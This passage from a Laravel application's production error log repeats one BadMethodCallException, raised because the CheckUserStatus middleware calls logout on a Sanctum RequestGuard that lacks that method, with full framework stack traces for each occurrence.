#31 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php(26): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#32 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#33 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#34 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(175): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#35 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(144): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter(Object(Illuminate\\Http\\Request))
#36 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1220): Illuminate\\Foundation\\Http\\Kernel->handle(Object(Illuminate\\Http\\Request))
#37 /home/talaah/public_html/public/index.php(17): Illuminate\\Foundation\\Application->handleRequest(Object(Illuminate\\Http\\Request))
#38 {main}
"} 
[2026-03-24 22:20:10] production.ERROR: Method Illuminate\Auth\RequestGuard::logout does not exist. {"userId":1759,"exception":"[object] (BadMethodCallException(code: 0): Method Illuminate\\Auth\\RequestGuard::logout does not exist. at /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Macroable/Traits/Macroable.php:115)
[stacktrace]
#0 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/AuthManager.php(333): Illuminate\\Auth\\RequestGuard->__call('logout', Array)
#1 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Support/Facades/Facade.php(363): Illuminate\\Auth\\AuthManager->__call('logout', Array)
#2 /home/talaah/public_html/app/Http/Middleware/CheckUserStatus.php(45): Illuminate\\Support\\Facades\\Facade::__callStatic('logout', Array)
#3 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\CheckUserStatus->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#4 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php(50): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#5 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Routing\\Middleware\\SubstituteBindings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#6 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/Middleware/Authenticate.php(63): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#7 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Auth\\Middleware\\Authenticate->handle(Object(Illuminate\\Http\\Request), Object(Closure), 'sanctum')
#8 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#9 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(821): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#10 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(800): Illuminate\\Routing\\Router->runRouteWithinStack(Object(Illuminate\\Routing\\Route), Object(Illuminate\\Http\\Request))
#11 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(764): Illuminate\\Routing\\Router->runRoute(Object(Illuminate\\Http\\Request), Object(Illuminate\\Routing\\Route))
#12 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(753): Illuminate\\Routing\\Router->dispatchToRoute(Object(Illuminate\\Http\\Request))
#13 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(200): Illuminate\\Routing\\Router->dispatch(Object(Illuminate\\Http\\Request))
#14 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}(Object(Illuminate\\Http\\Request))
#15 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(Illuminate\\Http\\Request))
#16 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php(31): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#17 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#18 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#19 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php(51): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#20 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#21 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php(27): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#22 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePostSize->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#23 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php(109): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#24 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#25 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php(61): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#26 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\HandleCors->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#27 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php(58): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#28 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\TrustProxies->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#29 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php(22): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#30 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#31 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php(26): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#32 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#33 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#34 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(175): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#35 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(144): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter(Object(Illuminate\\Http\\Request))
#36 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1220): Illuminate\\Foundation\\Http\\Kernel->handle(Object(Illuminate\\Http\\Request))
#37 /home/talaah/public_html/public/index.php(17): Illuminate\\Foundation\\Application->handleRequest(Object(Illuminate\\Http\\Request))
#38 {main}
"} 
[2026-03-24 22:20:14] production.ERROR: Method Illuminate\Auth\RequestGuard::logout does not exist. {"userId":1759,"exception":"[object] (BadMethodCallException(code: 0): Method Illuminate\\Auth\\RequestGuard::logout does not exist. at /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Macroable/Traits/Macroable.php:115)
[stacktrace]
#0 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/AuthManager.php(333): Illuminate\\Auth\\RequestGuard->__call('logout', Array)
#1 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Support/Facades/Facade.php(363): Illuminate\\Auth\\AuthManager->__call('logout', Array)
#2 /home/talaah/public_html/app/Http/Middleware/CheckUserStatus.php(45): Illuminate\\Support\\Facades\\Facade::__callStatic('logout', Array)
#3 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\CheckUserStatus->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#4 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php(50): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#5 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Routing\\Middleware\\SubstituteBindings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#6 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/Middleware/Authenticate.php(63): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#7 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Auth\\Middleware\\Authenticate->handle(Object(Illuminate\\Http\\Request), Object(Closure), 'sanctum')
#8 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#9 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(821): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#10 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(800): Illuminate\\Routing\\Router->runRouteWithinStack(Object(Illuminate\\Routing\\Route), Object(Illuminate\\Http\\Request))
#11 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(764): Illuminate\\Routing\\Router->runRoute(Object(Illuminate\\Http\\Request), Object(Illuminate\\Routing\\Route))
#12 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(753): Illuminate\\Routing\\Router->dispatchToRoute(Object(Illuminate\\Http\\Request))
#13 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(200): Illuminate\\Routing\\Router->dispatch(Object(Illuminate\\Http\\Request))
#14 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}(Object(Illuminate\\Http\\Request))
#15 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(Illuminate\\Http\\Request))
#16 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php(31): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#17 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#18 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#19 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php(51): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#20 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#21 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php(27): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#22 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePostSize->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#23 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php(109): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#24 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#25 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php(61): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#26 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\HandleCors->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#27 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php(58): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#28 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\TrustProxies->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#29 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php(22): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#30 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#31 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php(26): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#32 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#33 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#34 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(175): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#35 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(144): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter(Object(Illuminate\\Http\\Request))
#36 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1220): Illuminate\\Foundation\\Http\\Kernel->handle(Object(Illuminate\\Http\\Request))
#37 /home/talaah/public_html/public/index.php(17): Illuminate\\Foundation\\Application->handleRequest(Object(Illuminate\\Http\\Request))
#38 {main}
"} 
[2026-03-24 22:20:15] production.ERROR: Method Illuminate\Auth\RequestGuard::logout does not exist. {"userId":1759,"exception":"[object] (BadMethodCallException(code: 0): Method Illuminate\\Auth\\RequestGuard::logout does not exist. at /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Macroable/Traits/Macroable.php:115)
[stacktrace]
#0 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/AuthManager.php(333): Illuminate\\Auth\\RequestGuard->__call('logout', Array)
#1 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Support/Facades/Facade.php(363): Illuminate\\Auth\\AuthManager->__call('logout', Array)
#2 /home/talaah/public_html/app/Http/Middleware/CheckUserStatus.php(45): Illuminate\\Support\\Facades\\Facade::__callStatic('logout', Array)
#3 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\CheckUserStatus->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#4 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php(50): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#5 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Routing\\Middleware\\SubstituteBindings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#6 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/Middleware/Authenticate.php(63): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#7 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Auth\\Middleware\\Authenticate->handle(Object(Illuminate\\Http\\Request), Object(Closure), 'sanctum')
#8 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#9 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(821): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#10 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(800): Illuminate\\Routing\\Router->runRouteWithinStack(Object(Illuminate\\Routing\\Route), Object(Illuminate\\Http\\Request))
#11 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(764): Illuminate\\Routing\\Router->runRoute(Object(Illuminate\\Http\\Request), Object(Illuminate\\Routing\\Route))
#12 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(753): Illuminate\\Routing\\Router->dispatchToRoute(Object(Illuminate\\Http\\Request))
#13 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(200): Illuminate\\Routing\\Router->dispatch(Object(Illuminate\\Http\\Request))
#14 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}(Object(Illuminate\\Http\\Request))
#15 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(Illuminate\\Http\\Request))
#16 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php(31): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#17 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#18 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#19 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php(51): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#20 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#21 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php(27): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#22 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePostSize->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#23 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php(109): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#24 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#25 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php(61): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#26 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\HandleCors->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#27 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php(58): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#28 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\TrustProxies->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#29 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php(22): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#30 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#31 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php(26): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#32 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#33 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#34 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(175): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#35 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(144): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter(Object(Illuminate\\Http\\Request))
#36 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1220): Illuminate\\Foundation\\Http\\Kernel->handle(Object(Illuminate\\Http\\Request))
#37 /home/talaah/public_html/public/index.php(17): Illuminate\\Foundation\\Application->handleRequest(Object(Illuminate\\Http\\Request))
#38 {main}
"} 
[2026-03-24 22:20:22] production.ERROR: Method Illuminate\Auth\RequestGuard::logout does not exist. {"userId":1759,"exception":"[object] (BadMethodCallException(code: 0): Method Illuminate\\Auth\\RequestGuard::logout does not exist. at /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Macroable/Traits/Macroable.php:115)
[stacktrace]
#0 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/AuthManager.php(333): Illuminate\\Auth\\RequestGuard->__call('logout', Array)
#1 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Support/Facades/Facade.php(363): Illuminate\\Auth\\AuthManager->__call('logout', Array)
#2 /home/talaah/public_html/app/Http/Middleware/CheckUserStatus.php(45): Illuminate\\Support\\Facades\\Facade::__callStatic('logout', Array)
#3 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\CheckUserStatus->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#4 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php(50): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#5 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Routing\\Middleware\\SubstituteBindings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#6 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/Middleware/Authenticate.php(63): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#7 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Auth\\Middleware\\Authenticate->handle(Object(Illuminate\\Http\\Request), Object(Closure), 'sanctum')
#8 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#9 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(821): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#10 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(800): Illuminate\\Routing\\Router->runRouteWithinStack(Object(Illuminate\\Routing\\Route), Object(Illuminate\\Http\\Request))
#11 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(764): Illuminate\\Routing\\Router->runRoute(Object(Illuminate\\Http\\Request), Object(Illuminate\\Routing\\Route))
#12 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(753): Illuminate\\Routing\\Router->dispatchToRoute(Object(Illuminate\\Http\\Request))
